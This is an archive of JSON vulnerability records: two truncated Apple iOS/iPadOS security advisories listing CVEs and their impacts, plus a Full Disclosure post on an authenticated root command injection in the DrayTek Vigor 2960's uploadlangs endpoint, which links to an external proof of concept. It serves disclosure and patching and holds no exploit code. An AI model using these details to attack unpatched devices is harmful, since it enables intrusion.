Vulnerability Disclosure Archive

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "APPLE-SA-07-27-2026-1 iOS",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-07-27-2026-1 iOS 26.6 and iPadOS 26.6\n\niOS 26.6 and iPadOS 26.6 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/128066.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nAccessibility\nAvailable for: iPhone 11 and later\nImpact: An attacker with physical access may be able to access sensitive\nuser data during iPhone Mirroring\nDescription: This issue was addressed through improved state management.\nCVE-2026-64732: Jorge Welch (@jorgwelch)\n\nAccounts Framework\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to fingerprint the user\nDescription: This issue was addressed with improved data protection.\nCVE-2026-64733: Rosyna Keller of Totally Not Malicious Software\n(paradisefacade.com)\n\nApp Store\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved checks.\nCVE-2026-43801: Rahul Raj\n\nApple Neural Engine\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A use after free issue was addressed with improved memory\nmanagement.\nCVE-2026-28928: Dun\n\nAppleDouble\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing a maliciously crafted file may lead to unexpected app\ntermination or arbitrary code execution\nDescription: A buffer overflow was addressed with improved bounds\nchecking.\nCVE-2026-43776: Irvin Wang, Peter Malone, Nicolas Rabrenovic\n\nAudio\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause a denial-of-service\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking.\nCVE-2026-64725: Seonung Park, ALTV!ST (altvi.st/)\n\nAuthKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to fingerprint the user\nDescription: A permissions issue was addressed with additional\nrestrictions.\nCVE-2026-43730: David Strnadel\n\nAVEVideoEncoder\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to execute arbitrary code with kernel\nprivileges\nDescription: A buffer overflow was addressed with improved size\nvalidation.\nCVE-2026-64747: Franco Belman at Blackwing Intelligence\n\nBackgroundAssets\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to delete files for which it does not have\npermission\nDescription: A permissions issue was addressed with improved validation.\nCVE-2026-64707: YingQi Shi (@Mas0nShi) of DBAppSecurity\u0027s WeBin lab\n\nBooks\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to modify protected parts of the file system\nDescription: A race condition was addressed with improved checks.\nCVE-2026-43811: Rodolphe Brunetti (@eisw0lf) of Lupus Nova\n\nCloudAttestation\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A maliciously crafted app may be able to bypass code signing\nenforcement\nDescription: A validation issue was addressed with improved input\nsanitization.\nCVE-2026-43813: Anton Pakhunov\n\nContacts\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to add contacts without user authorization\nDescription: An authorization issue was addressed with improved\nvalidation.\nCVE-2026-64746: Rodolphe BRUNETTI (@eisw0lf) of Lupus Nova, Daniel\nFebrero\n\nContacts\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing a maliciously crafted contact may leak sensitive data\nDescription: The issue was addressed with improved checks.\nCVE-2026-64734: Daniel Williams\n\nContacts\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to access information about a user\u0027s contacts\nDescription: This issue was addressed with improved checks.\nCVE-2026-43797: Arni Hardarson (Neonix Security)\n\nCoreAudio\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing a maliciously crafted audio file may corrupt process\nmemory\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-43673: Anonymous working with TrendAI Zero Day Initiative\n\nCoreAudio\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing an audio stream in a maliciously crafted media file\nmay terminate the process\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking.\nCVE-2026-43744: Mathis Mansi\u00e8re, an anonymous researcher\n\nCoreAudio\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A remote attacker may be able to cause unexpected system\ntermination\nDescription: An out-of-bounds write issue was addressed with improved\nbounds checking.\nCVE-2026-43803: Rahul Raj\n\nCoreMedia\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing a maliciously crafted video file may lead to\nunexpected app termination\nDescription: A memory corruption issue was addressed with improved\nmemory handling.\nCVE-2026-43711: James Duffy (@0x4A616D657344)\n\ncurl\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Authentication credentials may be sent to a server on another\norigin\nDescription: This is a vulnerability in open source code and Apple\nSoftware is among the affected projects. The CVE-ID was assigned by a\nthird party. Learn more about the issue and CVE-ID at cve.org.\nCVE-2026-3784\nCVE-2026-3783\n\nDriverKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An attacker with physical access to a locked device may be able\nto view sensitive user information\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking.\nCVE-2026-43753: Niels Hofmans\n\nFoundation\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious app may be able to access protected user data\nDescription: The issue was addressed with improved input sanitization.\nCVE-2026-43714: an anonymous researcher\n\nFrontBoard\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed by using HTTPS when sending\ninformation over the network.\nCVE-2026-64742: Hu\u1ef3nh T\u1ea5n Ng\u00e0n\n\nGame Center\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious app may be able to break out of its sandbox\nDescription: A parsing issue in the handling of directory paths was\naddressed with improved path validation.\nCVE-2026-64740: Manuel Fernandez (Stackhopper Security)\n\nGame Center\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to access sensitive user data\nDescription: This issue was addressed with improved data protection.\nCVE-2026-43796: Ilya Andr (andrd3v) of Positive Technologies, Stanislav\nJelezoglo\n\nHeimdal\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause a denial-of-service\nDescription: An out-of-bounds read was addressed with improved bounds\nchecking.\nCVE-2026-64692: Redon Gashi\n\nImageIO\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing a maliciously crafted texture may lead to unexpected\napp termination\nDescription: An integer overflow was addressed with improved input\nvalidation.\nCVE-2026-43780: Michael DePlante (@izobashi) of TrendAI Zero Day\nInitiative\n\nImageIO\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:26Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/16"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Aug/16"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/128066"
        },
        {
          "url": "https://www.apple.com/itunes/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Aug/16"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-07-27-2026-1 iOS 26.6 and iPadOS 26.6",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0039",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Aug/16",
            "automated": true,
            "contentSha256": "14583bf0d28100cd329b90429d3b3cdb637337829fbe0cf0ee93b5a23b8d39f9",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Aug/16",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-07-28T00:19:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-09T10:11:26Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0039"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "APPLE-SA-06-29-2026-1 iOS",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Apple Product Security via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "-----BEGIN PGP SIGNED MESSAGE-----\nHash: SHA256\n\nAPPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2\n\niOS 26.5.2 and iPadOS 26.5.2 addresses the following issues.\nInformation about the security content is also available at\nhttps://support.apple.com/en-us/127594.\n\nApple maintains a Security Releases page at\nhttps://support.apple.com/100100 which lists recent\nsoftware updates with security advisories.\n\nIOGPUFamily\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination\nDescription: A race condition was addressed with improved state\nhandling.\nCVE-2026-43743: Lyutoon, Dun\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination or\nwrite kernel memory\nDescription: The issue was addressed with improved input sanitization.\nCVE-2026-43724: Hyunwoo Kim (@v4bel)\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to leak sensitive kernel state\nDescription: The issue was addressed with improved input sanitization.\nCVE-2026-43722: Feng Xue and XGPT of ThreatBook, Hyunwoo Kim (@v4bel)\n\nKernel\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: An app may be able to cause unexpected system termination or\ncorrupt kernel memory\nDescription: This issue was addressed with improved input validation.\nCVE-2026-39868: Vladislav Shevchenko (Positive Technologies), Ye Zhang\n(@VAR10CK) of Baidu Security, Billy Jheng Bing Jhong and Pan Zhenpeng\n(@Peterpan0927) of STAR Labs SG Pte. Ltd.\n\nlibxslt\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A double free issue was addressed with improved memory\nmanagement.\nCVE-2026-43706: Tristan Madani (@TristanInSec) from Talence Security\n\nlibxslt\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nCVE-2026-43703: Tristan Madani (@TristanInSec) from Talence Security\n\nWeb Extensions\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious web extension may be able to cause an unexpected\nprocess crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314642\nCVE-2026-43704: dr3dd\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A cross-origin issue was addressed with improved tracking\nof security origins.\nWebKit Bugzilla: 315368\nCVE-2026-43700: Vitaly Simonovich, Christian Meurer Xavier\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved checks.\nWebKit Bugzilla: 313357\nCVE-2026-43735: Merrick Hare, Drinor Selmanaj (Sentry), Khai Tran, John\nLussier, Rhyru9, Kwak Kiyong, Song Nuri\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313693\nCVE-2026-43734: Jonathan Alush-Aben\nWebKit Bugzilla: 313857\nCVE-2026-43726: Josef Korbel (Citadelo), Tristan Madani (@TristanInSec)\nfrom Talence Security, Gia Bui (@yabeow) from Calif.io, Narendra Singh\n(@_3P1C)\nWebKit Bugzilla: 314398\nCVE-2026-43709\nWebKit Bugzilla: 317227\nCVE-2026-43699: Tommy DeVoss from Braze Security Team (@thedawgyg)\nWebKit Bugzilla: 315161\nCVE-2026-43742: \u042e\u043b\u0438\u044f \u041c\u0435\u0440\u0446\u0430\u043b\u043e\u0432\u0430\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may disclose\nsensitive user information\nDescription: A path handling issue was addressed with improved\nvalidation.\nWebKit Bugzilla: 313085\nCVE-2026-43732: Nan Wang (@eternalsakura13)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 314115\nCVE-2026-43731: dr3dd\nWebKit Bugzilla: 313577\nCVE-2026-43715: Milad Nasr and Nicholas Carlini with Claude, Anthropic\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: A use-after-free issue was addressed with improved memory\nmanagement.\nWebKit Bugzilla: 313691\nCVE-2026-43727: Tommy DeVoss from Braze Security Team (@thedawgyg), Gia\nBui (@yabeow) from Calif.io, Gurpreet Shergill\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may be able to process restricted web\ncontent outside the sandbox\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 312832\nCVE-2026-43725: Luke Francis\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 312781\nCVE-2026-43663: Soyeon Park, Amy Burnett, Khai Tran, sherkito, Kota\nToda, HexRabbit (@h3xr4bb1t) and NiNi (@terrynini38514) of DEVCORE\nResearch Team, Using GLM From Z.AI, Tristan Madani (@TristanInSec) from\nTalence Security, Brian Carpenter\nWebKit Bugzilla: 313528\nCVE-2026-39872: Utkarsh Pal, Ignacio Sanmillan (@ulexec)\nWebKit Bugzilla: 314235\nCVE-2026-43712: Kwak Kiyong, Song Nuri, Tristan Madani (@TristanInSec)\nfrom Talence Security\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 315047\nCVE-2026-43716: Tuan and Duc from Calif.io, OpenAI Codex Security - Amy\nBurnett, Evan Lambert\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected Safari crash\nDescription: An out-of-bounds access issue was addressed with improved\nbounds checking.\nWebKit Bugzilla: 317231\nCVE-2026-43676: Mateusz Krzywicki (iVerify.io), dr3dd, Tommy DeVoss from\nBraze Security Team (@thedawgyg)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may result in the\ndisclosure of process memory\nDescription: The issue was addressed with improved memory handling.\nWebKit Bugzilla: 308046\nCVE-2026-43740: Nathaniel Oh (@calysteon), Arni Hardarson\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Visiting a website may leak sensitive data\nDescription: A permissions issue was addressed with additional\nrestrictions.\nWebKit Bugzilla: 314806\nCVE-2026-43713: Jody Ritonga\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may exfiltrate data cross-origin\nDescription: The issue was addressed with improved input validation.\nWebKit Bugzilla: 315306\nCVE-2026-43708: Behzad Najjarpour Jabbari (@_G4ru_)\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to an\nunexpected process crash\nDescription: A memory corruption issue was addressed with improved\nmemory handling.\nWebKit Bugzilla: 315951\nCVE-2026-43707: OpenAI Codex Security - Amy Burnett\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: Processing maliciously crafted web content may lead to memory\ncorruption\nDescription: A type confusion issue was addressed with improved checks.\nWebKit Bugzilla: 314528\nCVE-2026-43705: dr3dd\n\nWebKit\nAvailable for: iPhone 11 and later, iPad Pro 12.9-inch 3rd generation\nand later, iPad Pro 11-inch 1st generation and later, iPad Air 3rd\ngeneration and later, iPad 8th generation and later, and iPad mini 5th\ngeneration and later\nImpact: A malicious website may be able to process restricted we"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:11:10Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/11"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Jul/11"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://support.apple.com/100100"
        },
        {
          "url": "https://support.apple.com/en-us/127594"
        },
        {
          "url": "https://www.apple.com/itunes/"
        },
        {
          "url": "https://www.apple.com/support/security/pgp/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Jul/11"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "APPLE-SA-06-29-2026-1 iOS 26.5.2 and iPadOS 26.5.2",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0048",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jul/11",
            "automated": true,
            "contentSha256": "c81aa8d2a5816d1dae077bfbc1e2887453f98ef17476ac05b30a380453ab3608",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Jul/11",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-06-29T20:27:27Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-07T13:20:21Z",
    "dateUpdated": "2026-09-09T10:11:10Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0048"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "DrayTek Vigor 2960",
          "vendor": "Draytek",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "disclosure via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "0day Rubbish Research Team is publicly disclosing a vulnerability in DrayTek Vigor 2960 v1.5.1.6.\n\nType: Authenticated command injection to root RCE in uploadlangs (CWE-78)\nCVSS: 8.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\nImpact: Root command execution on the SMB edge gateway: VPN keys, firewall rules, routing state, VoIP services, and \nproxied traffic under attacker control.\nAuthentication: authenticated (requires valid session)\n\nFull technical analysis and a reproducible proof-of-concept:\n  https://0day-rubbish.com/blog/draytek-vigor2960-uploadlangs-command-injection\n\nProject archive (ongoing disclosure series):\n  https://github.com/Exploit-Garbage/0day-Rubbish\n\nVendor has been notified. CVE ID is pending.\n\n--\n0day Rubbish Research Team\ndisclosure () 0day-rubbish com\nhttps://0day-rubbish.com\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-78",
              "description": "CWE-78",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-09T10:10:51Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/3"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Sep/3"
        },
        {
          "url": "https://0day-rubbish.com"
        },
        {
          "url": "https://0day-rubbish.com/blog/draytek-vigor2960-uploadlangs-command-injection"
        },
        {
          "url": "https://github.com/Exploit-Garbage/0day-Rubbish"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Sep/3"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "[0day-rubbish] DrayTek Vigor 2960 v1.5.1.6 Authenticated command injection to root RCE in uploadlangs (8.8)",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0163",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/3",
